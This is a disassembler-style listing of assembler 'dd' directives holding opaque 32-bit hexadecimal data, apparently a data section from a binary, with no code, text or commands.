		dd 0B189043Dh, 6B6A7400h, 8F8D7AA4h, 2258C05Fh,	652EF3EEh
		dd 852F7338h, 0D701A71Bh, 2D6FC400h, 80E2FE88h,	96001A57h
		dd 0AA4B432h, 0F065BEBCh, 0B1AF00F1h, 0DF5AF710h, 5305212Dh
		dd 0F3949D71h, 56EFE040h, 7181147h, 2790CD95h, 0E35AC7D5h
		dd 9CC89B7Ah, 0C1B8C875h, 0F157BD05h, 0BCD0FC61h, 1DB077h
		dd 0E54588F9h, 9BC37F47h, 3803A277h, 3284A6CEh,	639DA87Eh
		dd 2C3D1229h, 1D20405Fh, 8347749Fh, 39B66200h, 125E2AAh
		dd 9168008Dh, 4DF661C8h, 30003347h, 0C44E1278h,	380A3773h
		dd 0D2155617h, 0F101A09Dh, 8ACC1D02h, 9AD183CFh, 41814071h
		dd 0E9C89420h, 2D297A8Fh, 960EC7D3h, 0DDA96C60h, 0F5008E59h
		dd 5EB8F6FEh, 7428F981h, 2160615Dh, 0C8F5E733h,	0E000764Eh
		dd 0D33EEFB1h, 3D1E674Bh, 29EF53A0h, 6C009FE9h,	0E9226ED6h
		dd 43CA0B19h, 9B181A71h, 0F610F571h, 0A2DD5D30h, 80D03E3Fh
		dd 2FCAE535h, 0CB4E09h,	0A3F3C4A8h, 4C734677h, 79D01D01h
		dd 6ED93E69h, 0C36C2080h, 7206E825h, 7978CC66h,	0F1930151h
		dd 0BCC3D09Ah, 14408FA1h, 0B4209855h, 412D1C6Dh, 852900FFh
		dd 563D4E8Ah, 0E3DE3C06h, 0C307A0Ah, 6BC1CCF1h,	532EBB69h
		dd 0A6006A2Ch, 6ED18120h, 441800CCh, 1177CB3Fh,	0C20083DFh
		dd 0C5EF9E46h, 3AC01CEh, 6FCFD38h, 1014C88Bh, 0AA04C979h
		dd 7F0086A8h, 58CD174Eh, 1AA2F4h, 0EB16FA61h, 0DC6F1BA0h
		dd 1C209B00h, 106762B7h, 7494781Eh, 9F950706h, 0C04D9818h
		dd 0F5A9B76Dh, 4CB21A00h, 599B1520h, 286F0E9Ch,	0B487F469h
		dd 0C070025Bh, 0EF6C1060h, 6E4E7A00h, 0C4AC9CDh, 675F0FC5h
		dd 5460174Fh, 0C27BCF10h, 0E0708157h, 0C03E8440h, 43466110h
		dd 1800C371h, 6987F0A2h, 381C064h, 0AC409F58h, 60E884A9h
		dd 29C24EB9h, 286218Eh,	0C824762Bh, 8A113722h, 74B422C6h
		dd 22B0D422h, 962478D7h, 0F0101322h, 660A88B1h,	0CCF203F7h
		dd 596F4442h, 281CFC05h, 0DE4214A8h, 7B6D1D11h,	44BFBE44h
		dd 2284DA6Ah, 42ED73EFh, 14827A3Ch, 9B228D26h, 84302E70h
		dd 24463EBh, 6A1F448Ch,	75424C48h, 406E2462h, 4867C08Ah
		dd 725500C7h, 9A59BACDh, 0A301F125h, 8927F0E0h,	2720200Ah
		dd 0F57F079Bh, 0C011D9A9h, 66FE9058h, 8A074600h, 183480AFh
		dd 1C330185h, 77C00360h, 8C16C80Ch, 15922D00h, 0AC1BBA48h
		dd 69C8001Eh, 9717C6CCh, 0EE006634h, 5CD3FF62h,	262667F9h
		dd 0C61B23h, 135B0FDCh,	4A01E254h, 16E6C98Ch, 0E8E436D9h
		dd 0FFC0047h, 7AA70EF1h, 56009ABEh, 6EAF2B35h, 427FE2Ah
		dd 40C0EE60h, 1CF3C0F9h, 409082B6h, 53EDB900h, 0D8136C6Eh
		dd 5B040078h, 293D555h,	0E00B7AEh, 7A4138FEh, 9892BE79h
		dd 9054F4FEh, 2D310191h, 8D1759E3h, 422CF836h, 0C60615EEh
		dd 4D087488h, 6E3D0020h, 994CC079h, 0E412F50Fh,	7C00CB84h
		dd 0EE67FDA6h, 0CF080078h, 4F442671h, 9001C3E6h, 0F04763D1h
		dd 98419889h, 0FF60249Eh, 1080FDBDh, 0BC54B1E9h, 89033161h
		dd 0C49E4AC5h, 4D5CC133h, 0E09F80F4h, 566F007Ah, 23E1F5C9h
		dd 7500B347h, 974E0B18h, 95CDC8h, 7BEC02Eh, 47A49DC7h
		dd 0FE2B8200h, 0C1EFF423h, 2D50C9Eh, 79BC06A1h,	0B8641F00h
		dd 86EA9166h, 0AA9B0737h, 80F9D3FCh, 0C18CC721h, 5905FE00h
		dd 7B2DAC80h, 32B7661h,	2EADD219h, 0D0D8CB8Bh, 25007375h
		dd 9AB6E61Fh, 1A81F2h, 4F180BF6h, 0C9477939h, 80B0A33Fh
		dd 60C82B92h, 0F26D24Ch, 1046EE01h, 0A772403Dh,	6EAA705Fh
		dd 0E3B44A01h, 0DBACCF64h, 0F6B87BC4h, 0D5C20020h, 2740D701h
		dd 8AC0F1D8h, 0E7AD187Fh, 0EC5B005Eh, 0DDB98CF5h, 0DF240EB2h
		dd 0F8075821h, 19D044CFh, 3F3264D7h, 5E012880h,	0EFE7148h
		dd 83F4D314h, 9871C308h, 2918D71Fh, 7E8E9382h, 1590489Ah
		dd 4871709Fh, 120F0434h, 2EFF85D1h, 0FA4800DDh,	2F431CD6h
		dd 0C068C313h, 0B4EB8840h, 0E396E65h, 38E06D36h, 0C1BFE498h
		dd 0ED5C1F00h, 0ADF55585h, 2D700Ah, 539AFB62h, 5F148A06h
		dd 0D2083Ah, 4BC4BE39h,	53743h,	29CA5B5h, 260F85BFh, 88CE6800h
		dd 9FD61548h, 20760038h, 97298D2Ah, 8CF8F036h, 8004BB3Fh
		dd 0DA8617FFh, 75F3165h, 2F7DBF5h, 974D20F8h, 2C00742Fh
		dd 0AB90139Eh, 0FF5C9Ah, 7A395FC4h, 0D496CE58h,	0B6340A1Eh
		dd 0F663B000h, 770D42ECh, 8090E5h, 31AA18F2h, 0E383DACCh
		dd 0A5243Dh, 0A473F161h, 60CFEFCBh, 128F28E8h, 7900FC84h
		dd 3604E931h, 4AF28EDh,	320CC49Fh, 73E805Dh, 4200A089h
		dd 138821BEh, 2F82E0h, 9F015184h, 5049B736h, 9D4B9C00h
		dd 6A987E8Ch, 0FFCC00A9h, 525CE262h, 50C73B7Fh,	22A0B1B9h
		dd 1C7953C6h, 0C0775D34h, 3B87AEFDh, 0F201D2DEh, 7874F89Ah
		dd 0B82043EDh, 0E7351CEAh, 4D0E00E5h, 7BC934Bh,	8602F01h
		dd 4ED73DC6h, 0EAB0420h, 3CD59FA3h, 80681584h, 37A5A81Ch
		dd 8D81B24h, 0ADD7B784h, 0AA13C000h, 553DAFE5h,	189400FFh
		dd 7339F647h, 37460052h, 8C56B5F3h, 83009B1Bh, 0FB6B04A2h
		dd 24AF9EF1h, 551DF6h, 6EF2EF45h, 0E8007EAEh, 0C7176A67h
		dd 0C65A9Ch, 0F86332FCh, 583E3010h, 5EE47E00h, 9ACF0B34h
		dd 0EAB7DC0h, 0C7145D08h, 0AF3C2DA0h, 7E005599h, 0E5D9DE85h
		dd 54C0E7h, 58DA2B9Ch, 6B81866h, 3DBA4C00h, 7EBED20Bh
		dd 5B751E34h, 0E88E00A4h, 0FA1D4670h, 967D8800h, 0F9613DDBh
		dd 90500B4h, 6F371549h,	0E871739Ch, 0F7578B03h,	90E59798h
		dd 43B35E3h, 0EBC86D46h, 0EE2483B3h, 10A0F6D3h,	0BC00B409h
		dd 45EFC99Dh, 98410FF2h, 12330020h, 0ED7B29E7h,	20005759h
		dd 0CBC58642h, 0E80EB09h, 1481E1C2h, 9D027A4Eh,	2440A1E5h
		dd 761E1F3Dh, 0FC45683Ch, 0C80D8CBh, 0ECE60Eh, 0C60C2BA4h
		dd 1FFE185Ah, 990010B1h, 0FD22130Bh, 0CA9E142Bh, 8300DCA2h
		dd 0D8D45B08h, 88006924h, 0EC7ABAF5h, 7A2FF389h, 0A1030F5Ah
		dd 9B00479Dh, 73E4FDB0h, 30363A0Eh, 66C09F81h, 0DA7AC098h
		dd 31C30247h, 0CF891EBBh, 3673B180h, 407AD91h, 46B6F711h
		dd 0B840DA07h, 1FECBC1Bh, 0B1C49Ah, 0A13E10D2h,	2A007629h
		dd 0C36E7DB2h, 0AC213Ah, 0BAA245F1h, 0A95D52F3h, 6F1FA600h
		dd 54259DC0h, 7C500B9h,	0CA77DCA8h, 5E0F8953h, 60877342h
		dd 0DD99F580h, 30E20079h, 4FA9AE50h, 0F8A2A0D5h, 361D6C40h
		dd 60127800h, 9A54B570h, 0AFFE0006h, 6B2A61CCh,	1900CE86h
		dd 0E117CA4Dh, 47D23Dh,	0E281B33Fh, 0FEBF2360h,	0EC674A00h
		dd 2264C23Eh, 26DA0051h, 0AA202C06h, 453D4D74h,	0E5D05035h
		dd 98EECD00h, 18C9948Ch, 75FE00F3h, 0B501B759h,	1E007D8Dh
		dd 4D4762Ch, 788A93Fh, 0C498F4C8h, 66A170F6h, 0A47AE26Bh
		dd 26791A1Ch, 0FC11D8C7h, 7A7605Eh, 98ADFAF7h, 0AB2C075Ch
		dd 0E06E62FEh, 0A19A2D64h, 0FA0D400h, 105D9045h, 35E800F2h
		dd 1F0CC5C4h
		dd 8E703849h, 5300A9D3h, 18B7E125h, 1C750527h, 87FCF78Ah
		dd 0C5DB0C8h, 0A8037F4Ah, 83ECA0F3h, 0DC38E81Ch, 0CBFE0088h
		dd 805875C3h, 4C002256h, 0B36A0E84h, 0FCB020h, 32D6F24Ah
		dd 52A040EDh, 0A3428807h, 34E1D5C6h, 0B7C85969h, 41EF0081h
		dd 7427DC85h, 38059239h, 8D02AF90h, 0A85E0h, 0D76369ABh
		dd 7B3522F1h, 0FF4C5B00h, 2CC2A724h, 3C758Fh, 4811EC7Eh
		dd 0F1D3CDD0h, 6C8C501h, 29EA1BF4h, 0EEA130h, 0A165387Ah
		dd 417F62B6h, 0CBC16E09h, 80E009ADh, 22CC56A9h,	2A1775E9h
		dd 0A8693Ch, 0E3C7A06Fh, 0E89F553h, 0B9D69B00h,	0E6A47508h
		dd 0E92B0EB8h, 0C020A3CCh, 0F3613660h, 4AA6E109h, 1DE0009Bh
		dd 2E1517BCh, 7C1AADh, 28E3CFA2h, 6E02F948h, 0CB11C216h
		dd 8FE060E1h, 0B88A5510h, 0B893E2D0h, 5E2F00B4h, 0E4805A91h
		dd 0A0003B75h, 2C191826h, 260D1DDCh, 9D48F27h, 100EF214h
		dd 884780A0h, 0CB00C4A1h, 7787993Bh, 72AAF9h, 2678B1D3h
		dd 904CDBB0h, 4B0CAC04h, 58C8DE5Dh, 344101FAh, 0CF246E8Eh
		dd 48202050h, 0C065D900h, 0B33C617Dh, 489F7602h, 0B40017F5h
		dd 0F236F79h, 0A9B8DB9Ch, 75B83A48h, 0CB900E0Eh, 0B4D2129h
		dd 0BC24465Fh, 13E23E52h, 0FF30089Eh, 9AAFE00h,	98E8AC16h
		dd 28A2DE01h, 1284773Fh, 587C8C4h, 8FE4C40Bh, 39A8D7h
		dd 67FCC218h, 5179498h,	0B5A97D24h, 329843A6h, 1AD3D7B1h
		dd 0D1AA6F99h, 0F8E46120h, 8898A4A2h, 0F575D00h, 0DD7CE29Fh
		dd 791E0C43h, 0FEB80416h, 72B9D903h, 0F0898A70h, 2264E20h
		dd 96DE4810h, 8C1C50Bh,	0E0D84029h, 0E5095C0Ch,	0DB021Bh
		dd 0D39C0BA8h, 0FF36002Eh, 0B1084964h, 0D40ECEADh, 0A3CD9056h
		dd 0C2A7DA8Fh, 0B13870B8h, 36B90020h, 6FC1EFE2h, 82A61C00h
		dd 0A3AE2DF5h, 376900C4h, 2AA1BB92h, 0E002DC42h, 84E0F44h
		dd 30C04078h, 0E47500E3h, 0F335A151h, 8F724A65h, 0B7858A00h
		dd 0C291F021h, 0BD6A00A9h, 67691B4Fh, 4D05C128h, 0E2A33E47h
		dd 5A7D3BC0h, 0EB4300E5h, 5B2F95A5h, 0B43E08ECh, 0F38700D5h
		dd 77759E05h, 0A42C01B9h, 0AC191F7Fh, 2B69701Ch, 52C64300h
		dd 4A5CB3A0h, 40B2003Ch, 0FA46F4CCh, 0BF48DF69h, 82900B4h
		dd 3523EB4Fh, 34C34CE8h, 0CFF8D003h, 308F4384h,	6D542752h
		dd 0C8C2E000h, 6E95779Ch, 1D621D56h, 2E3AFC37h,	3CFF8980h
		dd 31459D1Eh, 7D26BC00h, 362308E0h, 129E65Ch, 53DC9042h
		dd 0E066E609h, 1700E332h, 96F68187h, 593F4A9h, 0AB9E7A86h
		dd 0C160D0F5h, 143DDB15h, 284900C4h, 0A7D83CF4h, 709000Dh
		dd 0BF9602A6h, 201E12A5h, 0B0C1DE8Dh, 9E3829F0h, 0FC254E60h
		dd 0F49876h, 0FD05540Eh, 0D113357Dh, 0B1D6B501h, 62C2E54Ch
		dd 119FCC4h, 58B34F28h,	0EC4D7125h, 1A984080h, 49A56700h
		dd 27A4BDCAh, 70E2B5h, 4C6EE7DDh, 47451E9Dh, 0E3334E00h
		dd 4BC0E1D6h, 0A82248EFh, 4E83C11Fh, 0C07FC24Ah, 58B069BDh
		dd 0CA4C9DD2h, 0C5017988h, 0EC971E14h, 44FC70FEh, 3F290071h
		dd 0BF5F3865h, 3903B269h, 0F6E1DE78h, 0D6C29802h, 6028018Dh
		dd 86E3AEB9h, 8A028019h, 0C97F3D78h, 0B0E00F01h, 0F6E7DA62h
		dd 21C4B1C1h, 0DCB0FFF3h, 8A00E9EBh, 0E86240Fh,	38DB142Ch
		dd 0E483BE40h, 80575827h, 7809AED8h, 9AA74F01h,	5AF21F83h
		dd 699040C2h, 7D8F4A8h,	35E9519Bh, 1FC130D9h, 0EB0116E1h
		dd 389072DDh, 23E46C57h, 2EC3F8A5h, 0E411008h, 9D80371Ch
		dd 99816E02h, 22763A01h, 93E69A34h, 468F6884h, 0D3EC0007h
		dd 2CF7E30Ch, 0F5F17Dh,	0F953EDD8h, 0CC0032BFh,	5904BAE6h
		dd 43F6FCh, 3B8AD262h, 0BBA382ACh, 10CD0C30h, 5C73C6h
		dd 0AA17A97Ah, 0E8379AFAh, 8DAC700h, 4C32F34h, 0C970C043h
		dd 0FB53EC71h, 4C66963Fh, 64D50128h, 9010AE37h,	4BBECh
		dd 8652AF67h, 0DD5731C0h, 8B785304h, 0D8C593C9h, 648A80BAh
		dd 91E06846h, 80A20C3Bh, 2FB07229h, 1BB0528h, 6DA9EF41h
		dd 20D29CFEh, 0F3004B8Ch, 0D5AF5A31h, 2DF50CDEh, 8400ED11h
		dd 0E65E08E1h, 0A01F4007h, 9E0F693h, 99E74CEh, 67BDA277h
		dd 0C0B3C300h, 0ED00CBC7h, 3F76D9AAh, 78B523Dh,	8DE9C9CEh
		dd 5D9451F3h, 2129DD6Eh, 50D3E81Ah, 595CEF00h, 0B765BF6Dh
		dd 0F7AE019Ch, 997F1DB5h, 0EE4ED00Eh, 0A0903954h, 56ADF400h
		dd 549F607h, 9470E7A8h,	0B3DE2C01h, 0FE833CD0h,	0A0BDA62Bh
		dd 917A20A8h, 2870A33Dh, 6F0BA84Ch, 21EDC8F0h, 65435B0Ch
		dd 3060DD0h, 0CC64E3BFh, 3DD85503h, 8C00546Ch, 19163B46h
		dd 80E36663h, 641B60Eh,	0C694230h, 0BC70156Fh, 97033450h
		dd 0D236A2F9h, 880E80FDh, 70020201h, 77990CD5h,	0AC271342h
		dd 847A702Ah, 1C09A3F6h, 81638D04h, 1911FE33h, 28290C70h
		dd 383E59Ah, 74A7867Fh,	3A83FA2h, 1A1EA175h, 0BA80A6ABh
		dd 6E308E9h, 0ED640096h, 184E1C05h, 0E773DEB1h,	7016D801h
		dd 6DDF5884h, 79FECFF4h, 887661A8h, 0F9F67AF3h,	4B09E4CDh
		dd 5F12CCFEh, 0A800C01Fh, 0D2762099h, 38E905F5h, 0F01C31D0h
		dd 1EFE6204h, 0B5379600h, 2947BF9Ch, 0D6E600E5h, 0BAF297CEh
		dd 32E86D39h, 60055916h, 60E4B082h, 423E3Ah, 5D8D251Bh
		dd 6CAD3B62h, 0E7A0EB04h, 3EC0C0AAh, 0A5BA6E5h,	821DD9DFh
		dd 0ABD401DCh, 0FE01455Dh, 9D7FF480h, 35004F13h, 8E99C494h
		dd 92258D36h, 0EDDF0F14h, 0CA9DF3EFh, 93A8D8D1h, 47AB1FBFh
		dd 3E15C449h, 81CC8980h, 0C900C861h, 0DD0637B1h, 1F423307h
		dd 43D2E87Ah, 0BED8CE0Ch, 796231E8h, 90BAF60Fh,	0FDDA4076h
		dd 253EE3h, 0D3BEE96Ch,	0F1934C47h, 9B98FA00h, 1DF25EDBh
		dd 0AB3003CCh, 3480E3EAh, 8798E7B3h, 6C0086ECh,	0CEE4C38Bh
		dd 0B5F88Eh, 3D77C479h,	47097C25h, 0DF24AD0Eh, 0EA3740C8h
		dd 64EFCCh, 4551311Bh, 4FAA38E3h, 82A2FB00h, 7FF9866Ah
		dd 0DCF50125h, 6347E603h, 0A76DDC0Eh, 9D36FA1Fh, 89C30700h
		dd 1F2EEAEBh, 0C0E97A7Ch, 4F7059DBh, 92756CFh, 1EC0006Fh
		dd 7E0E8D5h, 28F374C3h,	6C87508Eh, 95FE84E7h, 9C6F3B0Bh
		dd 507FDB2h, 70D500EEh,	0F700F00Ch, 5606ACA2h, 0E934EAh
		dd 0B1D0BC33h, 0C8E026ECh, 88442C00h, 70B4F3D9h, 0DF5001FCh
		dd 7AFFE58Fh, 158CCC3h,	90384C00h, 2E818242h, 4B3D00ABh
		dd 3F7ED8D0h, 7D076CFBh, 8A04449Dh, 17398140h, 951800F0h
		dd 822FED3Eh, 36242B45h, 803909A8h, 3A6F0E9Ch, 91280B41h
		dd 321C096Ch, 614C5F81h, 7070FA9Dh, 8A161800h, 0CBCFDC40h
		dd 27891EE0h, 0E72F49F6h, 72DA4380h, 0D2399FBCh, 5022804Fh
		dd 0CD27300Ah, 86740002h, 47211BE4h, 0AA2C6037h, 91802445h
		dd 0C118ADC8h, 0CC8300FFh, 88E7A74h, 0A8EAD417h, 9245D100h
		dd 7D3449A0h, 13252406h, 570E0058h, 3EDAD60Fh, 71002C77h
		dd 0C04378BEh, 0E834A4EEh, 665B00DCh, 8EAAE507h, 4A4CC82Ah
		dd 83FF8930h, 98227DDCh, 51ED4C25h, 6FF0D95Fh, 38C5A49h
		dd 71F9B010h, 3DCC8000h, 15CF6130h, 9C7700FCh, 0E01F7C1Bh
		dd 0C130B45Fh, 2B533031h, 2D3004B3h, 0D0D5A75Dh, 0C16122A4h
		dd 9279A600h, 0C8F7BB34h, 313F2C6Ch, 0C0DA1CF6h, 0D5A08A05h
		dd 0CB0CBC82h, 5099BB5Bh, 0F7EC0Ah, 6A7C5A91h, 23477630h
		dd 0D3029002h, 0E01F9C93h, 4CAB6916h, 900981Bh,	38E0AEFFh
		dd 0EC92A02Dh, 327CD2Fh, 0FF70C8F8h, 0F0367412h, 0DE3C0238h
		dd 0E8D60F9h, 4E007070h
		dd 0E407D514h, 721F231h, 2B40FA55h, 0FEC2B0C8h,	5DF8A479h
		dd 7DDFA53Ch, 0FA126205h, 25804363h, 0FCC89Fh, 0F0D8E32Dh
		dd 0AB8C8AECh, 0AADAE800h, 0D5C565DBh, 3B9702FFh, 0B605D1E2h
		dd 7C744861h, 8E15B734h, 0D6E8A040h, 18991Dh, 4FA46984h
		dd 0BAF503B3h, 7851E201h, 7D4D0A4Bh, 133D3E4h, 2CBC836Eh
		dd 6067C442h, 7324234Ch, 4500F2F7h, 0B5BD5614h,	1E07AF2h
		dd 75606237h, 0C426AF84h, 0B800FE29h, 41B6A03Ah, 0BA2E17h
		dd 77221150h, 0B5FC4384h, 13D22D00h, 0E99F470Bh, 495A3C95h
		dd 1CFF6D85h, 5E0091C1h, 34A84013h, 290F08D7h, 0E0D3E77Dh
		dd 5F4F055h, 3F920E91h,	0A418151h, 0F08EA598h, 0C501E44Eh
		dd 62C2533Eh, 3FF96968h, 0A907D0h, 3636756h, 78F9D394h
		dd 0CF1798ACh, 80C042E2h, 10125BCh, 0EDA47F4Bh,	0D06D058Fh
		dd 7A3D57AFh, 96F51D1Eh, 21DE0480h, 5A896Bh, 0D4586E62h
		dd 9DE1E607h, 0F4001170h, 0FB244914h, 0BC0ECFB9h, 0D8B0040h
		dd 3B8C8D94h, 0AA213800h, 11FFFBADh, 55EDE9E3h,	935460h
		dd 0C0C575CDh, 49CC8F2Eh, 0BC02D53Dh, 94288112h, 5CDBE4C8h
		dd 370CDF5h, 7472001Dh,	0D7AA8403h, 0D090B57Bh,	39875E00h
		dd 0C099839Bh, 0B94D01A6h, 1C6275BFh, 23F0F051h, 3D572200h
		dd 749BE6Bh, 365600C5h,	1C58FB97h, 714AB23Fh, 3023D800h
		dd 28DBAB7h, 0CECDBE42h, 10DB3F67h, 0C148EEh, 7DC505DBh
		dd 47748575h, 0E2127BF4h, 4800490Fh, 6D2A855h, 7C39002Eh
		dd 0E96AEAC9h, 8D2CAA3Fh, 520082F2h, 0A094B480h, 2E890042h
		dd 8C09B329h, 6B00BB5Ch, 38C45091h, 0F77F55h, 0EF18212Ch
		dd 2DC6FA61h, 347AFE00h, 0C30DF0B6h, 3D4A4CF6h,	0C1E90076h
		dd 3651C023h, 2201C748h, 83245BF9h, 0A8C75902h,	26C56425h
		dd 78A009h, 3523EE36h, 4492F566h, 39F8BC0Fh, 7D3CE0EDh
		dd 37164CAh, 0FCAFC588h, 2DC8E292h, 76FCEC5Fh, 3A090A00h
		dd 8BF741A3h, 38CC4820h, 3603101h, 640E1BBCh, 0C700161Ch
		dd 8E386C81h, 7644C495h, 0BD8B0303h, 0CEE53711h, 0E6DB5DF0h
		dd 95ABE8E1h, 0F1BE700h, 4F428F9Eh, 52FB0222h, 626E157h
		dd 94007C71h, 6307BC98h, 0FB4A06Ah, 0F09089h, 0AB053E6h
		dd 4C0697EBh, 0F3E01400h, 2276FA63h, 2A8639DAh,	3B94BB80h
		dd 0F9303C17h, 0D4C0204Bh, 4D64F5h, 28FFF713h, 0A4B3976Dh
		dd 43FB7204h, 6EA09F3Ch, 1E5EEA8h, 0C9236EABh, 0EC75E328h
		dd 0F90399A9h, 3E8FF30Ch, 9306C8BBh, 0FF4203ADh, 17D26AB7h
		dd 0EC026D88h, 0DEF9601h, 0CC80E7AFh, 95DFD160h, 0B6FA4400h
		dd 420050D7h, 0C0E1D0B8h, 0A0AD22A2h, 967FED8h,	0F1D37D3Eh
		dd 471ED301h, 0C7F5FCB3h, 3264D401h, 8C311F7Ah,	0BAE7C8h
		dd 5D5ADFAh, 0F31EEC03h, 0BBB8624Fh, 49DCAB07h,	40F75527h
		dd 5973B4D8h, 0DA0A7BF5h, 8811089Eh, 0CA2C89A0h, 79870C1Ah
		dd 0F690CD35h, 1F81697Bh, 1C82DCB9h, 517402A7h,	0B860D839h
		dd 86006CEAh, 3A66AA9Fh, 0F47EFEA9h, 39160F1Fh,	60E1DD43h
		dd 30B35DDFh, 0F007CF4h, 0F710D91Ch, 0D6117Dh, 0A7824E2Ch
		dd 0FA41EDDEh, 0FE793A0Fh, 0A2FC6087h, 0D6D8A5h, 278561D4h
		dd 0AB816691h, 1CBAC20Bh, 9E60A140h, 34C0F545h,	420957Ch
		dd 39BB8B2Ah, 38A04B00h, 59EA31ADh, 0D40300DEh,	8608F819h
		dd 65002DD5h, 739BDB89h, 7E38EF4h, 2A747C37h, 0F096849Fh
		dd 0ACB016C0h, 9F0BB726h, 8FAB8200h, 3EC420B8h,	0BE80F268h
		dd 0D9A8C889h, 52004A16h, 0CEF19E8Ch, 2B6A94h, 500F3275h
		dd 67FDD003h, 8C029800h, 9328DB13h, 0CDBB01A4h,	3B38EAA9h
		dd 0DE102483h, 0BE47F300h, 9A7A6FA0h, 784E869h,	13A628FDh
		dd 6B8EB014h, 0CA004323h, 0A097086Ah, 1FCB7A07h, 43323BF7h
		dd 6C70934Dh, 1FF8BDA8h, 0C3E14500h, 9010B4EDh,	8D20050Fh
		dd 0C03F666Bh, 0C94239C0h, 84A5FD09h, 0BAF4000Ah, 0D892F3h
		dd 14D6379Dh, 69E75C8h,	10F5C616h, 0C5856C41h, 0CB080B28h
		dd 2E0032FCh, 29C3EBD8h, 0B80627h, 83FD7EDAh, 0D208C492h
		dd 0BBCF6605h, 3880535Bh, 7DCB214h, 35106F6Ch, 95F9D3A8h
		dd 8454C6D0h, 973A5700h, 0CD1704B9h, 5D610056h,	0FC73F93Dh
		dd 0CA00F4E5h, 0E10B093Fh, 0C26624h, 0B2C08B8Ah, 0E85E88DDh
		dd 76FBEC0Eh, 1A7A2280h, 0FFA9600Bh, 0DBF50075h, 0D6705834h
		dd 0BCEA1286h, 0BDC03Dh, 0A6803819h, 5D43BEEh, 74244518h
		dd 9DF0802Fh, 0F324AEACh, 9C3AD097h, 9F80EA83h,	4EE61E53h
		dd 71630934h, 6C7051A5h, 0B10088BCh, 0B58B54A1h, 55442CDEh
		dd 80829FACh, 1A187BF2h, 9E09784Fh, 3007BBh, 6AC3C4D0h
		dd 989B0961h, 0C82005E5h, 4A017CD6h, 0BE00ECE0h, 0A9FF1C2Eh
		dd 17EE738Fh, 19DADEh, 7DB68248h, 78797E1Fh, 0CE01B1FEh
		dd 6C6107BEh, 0A360C965h, 7FF80F86h, 7920939Bh,	0F049CA67h
		dd 5E3A7D00h, 0CB52396h, 0E283E7Eh, 0AD046100h,	0BBF2418Ah
		dd 0A0271A04h, 1C907725h, 69E60Dh, 0A6E0D09Dh, 0EE4D4684h
		dd 731CBDB0h, 77C00ADAh, 5F1ABD08h, 78BA92h, 8B6C632Fh
		dd 0EAF9310h, 0E002F97Fh, 0F94F765h, 0DC1C4841h, 62283C31h
		dd 70BBAEh, 8803A180h, 9D05AA77h, 0E3DDE49Bh, 8A0234C0h
		dd 0BA613F06h, 0F4323E82h, 0E46057F2h, 46008736h, 0E191A712h
		dd 50D341h, 55985EDEh, 4BF8CD80h, 51C9AC00h, 7D308FEEh
		dd 14360044h, 0ECD41F87h, 1700C7F1h, 2C6421DCh,	0AAA10h
		dd 8D8A22F8h, 0D7741A6Ch, 4C595A00h, 70498411h,	0FC8200E6h
		dd 4F9D8831h, 0BE0FEAEDh, 83E241F1h, 0E73449h, 4CDADD10h
		dd 32B2336Ah, 773DDE00h, 1D301A63h, 2E2D012Ch, 0FA58C5C0h
		dd 0A7A8FC96h, 23005FF0h, 8FAAEB29h, 419720h, 0C6BD1B46h
		dd 0D3ADF48Ch, 802CD93Fh, 5C93BF52h, 778A39h, 5463A56Bh
		dd 4146F7D2h, 643C2009h, 0D47F8007h, 38ED33FBh,	0B806BDBh
		dd 130E09A6h, 8B5C0260h, 0CAF614A5h, 0B6DE1EBAh, 0E2AD600h
		dd 446AEEh, 0BE16C720h,	0A8FE9D6Dh, 2F19F100h, 3588F29h
		dd 0F5D800FDh, 6C4B9451h, 77188BB5h, 50386BF9h,	809A4C4Ah
		dd 3C54CF00h, 0EA2BF8F7h, 0B1E8B00h, 9570D128h,	0E8A400C6h
		dd 0BA852078h, 16908EC9h, 0B236ED1Fh, 0DC31184Eh, 8D9BAD00h
		dd 411664Ch, 3A218555h,	3FCCC084h, 6D01CE98h, 87E72F03h
		dd 0F2D97581h, 0F4612461h, 0CC28CCh, 2A8B6AFBh,	0FD6DDA84h
		dd 2EE19800h, 0C7C6B9DEh, 4827030Ah, 0D562D55h,	657D0400h
		dd 0EBAA04B6h, 70FD161Bh, 380103AFh, 6CD0DD7Ch,	3C01FFB4h
		dd 0E9AA2DA1h, 0E02E59EEh, 0A9EC3DBEh, 30853Dh,	68B72172h
		dd 0BA7DA2h, 4C4F4EC8h,	0ACE84B89h, 29C2B61Fh, 2D1E2F00h
		dd 2CFFED30h, 1ED49F9Dh, 94C7467Bh, 0F000C2D1h,	24312A07h
		dd 4DC19h, 0F28B26DDh, 0B0681E4h, 3C1F7404h, 4C81B72Ch
		dd 92300124h, 0B3E12682h, 0A949008Fh, 44746573h, 0BE031038h
		dd 0C4F30027h, 0C676F2B5h, 0CE6E00E6h, 66EBFA60h, 0C0F9A880h
		dd 9900C541h, 0C7392352h, 0F083Eh, 8D2519D9h, 4762DB8Bh
		dd 27A60100h, 9160BD44h, 0ED2C0AACh, 0ECB172h, 6D20AAC4h
		dd 4F006139h, 0A33D78B6h, 0B18E7Bh, 5066EE40h, 2F5B214Dh
		dd 56ED3200h, 0B255AA43h, 7737307Ah, 192D5898h,	0A1E11F00h
		dd 0BC52D78Dh, 0D6DD24BEh, 0B8FA0028h, 9AF91947h, 9DACB600h
		dd 0A8BE9FADh, 187D74E0h, 48758A86h, 0A1E6CA9Ch, 0DF76530Fh
		dd 0F60077A2h, 0E96226FAh
		dd 2A99129Eh, 229C0048h, 6C0A6DDEh, 37FDF01h, 79E3F8E4h
		dd 300430h, 0F9202C9Fh,	2ACBAAC9h, 0F8F1B000h, 26804D75h
		dd 58420044h, 0F6FC6A3Bh, 6B0E686Eh, 25B1ACA6h,	0AAC2955Bh
		dd 0D284A7A8h, 3A05F790h, 0A4441825h, 0D1B781C1h, 7B5AC31Eh
		dd 8C2854h, 0A9631BBCh,	0C0DE52CAh, 7F4F71D1h, 0E0A83D9Dh
		dd 33002597h, 16284383h, 9254F6F8h, 2ED00EE0h, 7BC39B4Eh
		dd 3CF87784h, 7A00E333h, 2C0718F8h, 31293CBh, 80730C14h
		dd 880F49D5h, 809D47A3h, 0BE282F2Dh, 4AE71B7h, 6EEF993Dh
		dd 2E40C109h, 5583DC90h, 8C1EDF01h, 449EDEE3h, 84F3C8h
		dd 5AA27097h, 0F401F905h, 98DAF800h, 9AFE5FDEh,	0E35AB0D6h
		dd 19BE7F0h, 0E2D164F9h, 0FCF2AF0Bh, 0F724C2ACh, 0BA03970Ah
		dd 801CFBBCh, 0A5EB68h,	9ED42A1Dh, 0F8123778h, 0E9F2BE03h
		dd 93F30120h, 0A91900A7h, 27282D57h, 7000EE6Ah,	3FB3E063h
